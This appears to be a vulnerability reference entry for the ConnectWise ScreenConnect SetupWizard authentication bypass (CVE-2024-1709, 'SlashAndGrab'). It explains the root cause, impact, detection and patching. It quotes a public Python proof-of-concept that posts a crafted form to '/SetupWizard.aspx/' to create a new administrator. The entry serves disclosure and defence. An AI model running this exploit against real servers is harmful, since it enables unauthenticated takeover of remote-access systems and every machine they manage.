ScreenConnect SetupWizard Auth Bypass (SlashAndGrab)

aka SlashAndGrab

Product: ConnectWise ScreenConnect
CVE: CVE-2024-1709 CVE-2024-1708
Disclosed: 2024-02-19
CVSS: 10
Auth: pre-auth
CISA KEV: yes
Affected: 23.9.7 and prior
Fixed: 23.9.8

Summary

Adding a trailing slash to SetupWizard.aspx let anyone rerun ScreenConnect's initial setup wizard on an already-configured server and create a new administrator. Paired with a path-traversal extension upload, it gave RCE and was mass-exploited by ransomware affiliates within 48 hours.

Root cause

The setup-wizard guard checked the request path exactly against '/SetupWizard.aspx'; ASP.NET routing still served the page for '/SetupWizard.aspx/<anything>', bypassing the 'already set up' check. Admin access then allows uploading a malicious extension (CVE-2024-1708 ZipSlip) or running commands on connected clients.

Impact

Unauthenticated admin takeover of the remote-access server and every endpoint it manages.

Public PoC

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)
# ...scrape __VIEWSTATE, click Next...
exploit_data = {"__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen,
  "ctl00$Main$wizard$userNameBox": args.username,
  "ctl00$Main$wizard$emailBox": args.username+"@poc.com",
  "ctl00$Main$wizard$passwordBox": args.password,
  "ctl00$Main$wizard$verifyPasswordBox": args.password,
  "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}
requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

Source: watchTowr / connectwise-screenconnect_auth-bypass-add-user-poc

Detection

Look for requests to '/SetupWizard.aspx/' with trailing path, new admin users in User.xml, and unexpected files under App_Extensions. nuclei template CVE-2024-1709.

Mitigation

Upgrade to 23.9.8+ (licenses were extended so all on-prem customers could patch).